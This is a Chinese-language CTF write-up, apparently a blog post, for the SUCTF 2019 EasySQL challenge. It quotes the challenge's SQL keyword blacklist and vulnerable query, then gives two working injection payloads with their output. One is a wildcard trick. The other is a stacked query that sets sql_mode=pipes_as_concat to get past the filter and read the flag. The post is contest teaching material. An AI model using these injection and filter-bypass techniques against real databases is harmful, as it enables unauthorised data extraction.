[SUCTF 2019]EasySQL(set sql_mode=pipes_as_concat修改||)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
都被过滤,查看公开的源码
黑名单 :
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
查询语句:
select $_GET['query'] || flag from flag
两种方法
都是神乎其神的网友大佬想到的
1、由于没有过滤*所以可以直接构造payload
payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag
先查找全部 [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5},然后在查找1 [1] => 1
得到结果
Array ( [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5} [1] => 1 )

2、查询语句select $_GET['query'] || flag from flag中的|作用为‘或’,所以可以使用set sql_mode=pipes_as_concat 将|设置为‘和’。

pipes_as_concat:将导致 “||” 字符串被视为一个标准的 SQL 字符串合并操作符,而不是 “OR” 操作符的一个同义词。

payload: 1;set sql_mode=pipes_as_concat;select 1
拼接后的语句为:1;set sql_mode=pipes_as_concat;select 1||flag from Flag
先查找1:Array ( [0] => 1 );设置|的作用,由‘或’设置为‘和’;
再查询1,此时由于|为和查询,所以select 1 || flag from flag,1和flag都会被查询:Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )
得到结果
Array ( [0] => 1 ) Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值